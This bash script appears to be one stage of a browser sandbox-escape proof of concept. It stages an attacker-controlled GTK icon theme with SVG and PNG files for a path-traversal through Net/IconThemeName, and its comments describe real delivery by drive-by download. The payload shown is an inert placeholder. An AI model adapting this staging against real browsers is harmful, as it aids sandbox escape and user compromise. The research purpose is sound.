#!/bin/bash
# Stage the attacker-controlled icon theme into a writable directory that the
# GPU-hijacked Net/IconThemeName path-traversal value will resolve into.
#
# In a real attack this directory would be ~/Downloads (Chrome's default
# download dir, no prompt) and the files would arrive via drive-by download
# from the renderer.  /tmp/evil-icons is used here for repeatability.

set -e
DIR=/tmp/evil-icons
rm -rf "$DIR"
mkdir -p "$DIR/16x16"

cat > "$DIR/index.theme" <<'EOF'
[Icon Theme]
Name=evil
Comment=evil
Directories=16x16

[16x16]
Size=16
Type=Fixed
EOF

# librsvg payload (parsed by gtk_icon_info_load_symbolic_for_context in the
# unsandboxed browser process when an SVG loader is registered).
for n in window-close-symbolic window-minimize-symbolic \
         window-maximize-symbolic window-restore-symbolic; do
  cat > "$DIR/16x16/$n.svg" <<'EOF'
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16">
  <!-- ATTACKER PAYLOAD: parsed by librsvg (symbolic recolor) in browser proc -->
  <rect width="16" height="16" fill="#ff00ff"/>
</svg>
EOF
done

# .symbolic.png fallback so the lookup still succeeds when no SVG pixbuf
# loader is installed (lets the path-traversal be observed independently of
# librsvg presence).
python3 - "$DIR" <<'PYEOF'
import struct, sys, zlib
d = sys.argv[1]
def chunk(t, b):
    return struct.pack('>I', len(b)) + t + b + struct.pack('>I', zlib.crc32(t+b) & 0xffffffff)
sig = b'\x89PNG\r\n\x1a\n'
ihdr = chunk(b'IHDR', struct.pack('>IIBBBBB', 16, 16, 8, 6, 0, 0, 0))
raw = b''.join(b'\x00' + b'\xff\x00\xff\xff'*16 for _ in range(16))
idat = chunk(b'IDAT', zlib.compress(raw))
iend = chunk(b'IEND', b'')
png = sig + ihdr + idat + iend
for n in ('window-close-symbolic', 'window-minimize-symbolic',
          'window-maximize-symbolic', 'window-restore-symbolic'):
    open(f'{d}/16x16/{n}.symbolic.png', 'wb').write(png)
PYEOF

echo "Attacker icon theme staged at $DIR"
ls -R "$DIR"
